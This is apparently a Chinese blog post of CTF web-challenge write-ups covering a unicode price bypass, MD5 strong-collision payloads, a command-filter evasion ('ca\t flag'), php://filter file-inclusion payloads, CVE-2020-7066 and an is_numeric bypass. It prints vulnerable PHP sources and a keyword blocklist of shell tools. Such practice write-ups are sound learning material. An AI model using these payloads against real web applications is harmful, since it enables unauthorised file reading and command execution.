写在开始
- 这几天久违地打算去buu上开始刷一些题目,扩展一下知识面,遂有了这篇blog
[ASIS 2019]Unicorn shop
知识点:unicode 安全
- 点进页面,发现就只有一个货物清单和购买的输入框,尝试购买产品,发现当购买前三个的时候都会显示
Wrong commodity!
- 只有当尝试购买第四件产品时会显示货币不足,所以切入点就在第四件产品上了,如果能购买成功的话应该就可以获取
flag
,但当输入的price
的字符数超过一个的时候会提示只能输入一个字符
- 原本以为是输入长度的限制,但是看着题目名发现可能会和
unicode
有关,现在要解决的问题就是找到一个数值能大于1377的但是又只占有一个字符的unicode
,这里用网上wp
推荐的一个神奇的网站https://www.compart.com/en/unicode
,查到这个数值表示10000的字符
- 由于提交要使用url编码,所以把
0xE1 0x8D 0xBC
换成%E1%8D%BC
即可
id=4&price=%E1%8D%BC
[安洵杯 2019]easy_web
知识点:md5强碰撞,命令执行绕过,base64+hex
- 打开链接发现就只有一张图片和黑页,但是观察到url,发现有两个参数
img
和cmd
,同时img
被base64
加密了,解密后发现是用了两次base64
加一次hex
,得到文件名555.png
,于是尝试直接将flag
写入,却返回得到no flag
,说明有过滤,无法直接读取,于是尝试将index.php
写入,查看f12
后得到源码
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
- 通过查看源码得知,直接访问
flag
是行不通的,这里进行了过滤
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
- 但是发现后续有一个
md5
的强碰撞判断,这里只要能绕过他即可执行后面的echo $cmd
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
- 直接执行
cat /flag
时,发现被禁用了,所以要进行绕过,使用反斜杠产生转义字符绕过ca\t flag
即可,或者使用sort
命令,sort
会将文件的每一行作为一个单位,相互比较,比较原则是从首字符向后,依次按ASCII
码值进行比较,最后将他们按升序输出
md5
强相撞参考:
https://www.jianshu.com/p/c9089fd5b1ba
https://crypto.stackexchange.com/questions/1434/are-there-two-known-strings-which-have-the-same-md5-hash-value
[BSidesCF 2020]Had a bad day
知识点:php伪协议,文件包含,strpos函数
- 进入页面就只有两个可选项,随便点击一个后发现
url
中出现可控变量,感觉和伪协议很想,遂尝试使用伪协议
index.php?category=php://filter/read=convert.base64-encode/resource=index.php
,发现出现报错
- 于是去掉
.php
后发现读取正常,解码base64
后得到源码
index.php?category=php://filter/read=convert.base64-encode/resource=index
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
- 通过源码也发现,他这里是直接拼接得到
php
文件,所以之前不需要加后缀了
- 分析源码得知,只要传给
category
的字符串中包含woofers,meowers,index
就可以触发文件包含,所以只要指定输入中包含以上三个就行
- 此外对于
include()
函数,只要指定的路径中含有../
就会直接从当前文件的上一级查询
- 所以第一种
payload:?category=php://filter/read=convert.base64-encode/resource=woofers/../flag
- 此外由于
php
伪协议还可以嵌套一层协议,像这样php://filter/read=convert.base64-encode/xxx/resource=
,所以有了第二种payload:php://filter/read=convert.base64-encode/woofers/resource=flag
- 对于这里还有第三种
payload
,php
伪协议还有一个可选参数wirte
,所以还可以直接?category=php://filter/convert.base64-encode/write=woofers/resource=flag
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
[GKCTF2020]cve版签到
知识点:cve-2020-7066
- 查看
hint
得知这是对cve-2020-7066
的复现,于是直接查一下这个cve
得知,这个会直接将url
中空字符后的内容直接截断,漏洞是由get_headers()
函数导致
- 点击
ctfhub
链接,然后bp
抓包
- 然后截断
url
得到新的hint
,要求host
是以123
结尾的
- 遂得到
flag
- 记录一个
php cve
的收录网站:https://bugs.php.net/search.php?limit=30&order_by=id&direction=DESC&cmd=display&status=Open&bug_type=All&project=PHP
[MRCTF2020]Ez_bypass
知识点:md5强碰撞,is_numeric()绕过
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first
- 第一层要绕过
md5
的强碰撞,继续用之前那题的payload
即可绕过
?gg=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&
id=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%
- 接着绕第二层,发现要
post
一个数值为1234567
但是却不能是数字的值,即要求绕过is_numeric()
,对于这个函数直接在数字后面添加任意字符即可绕过,遂passwd=1234567%20
遂得到最终flag
- 此外由于这里判断并不像之前那样对变量类型要求一定是
string
,所以最简单的由于md5
处理不了数组,所以也可以使用数组绕过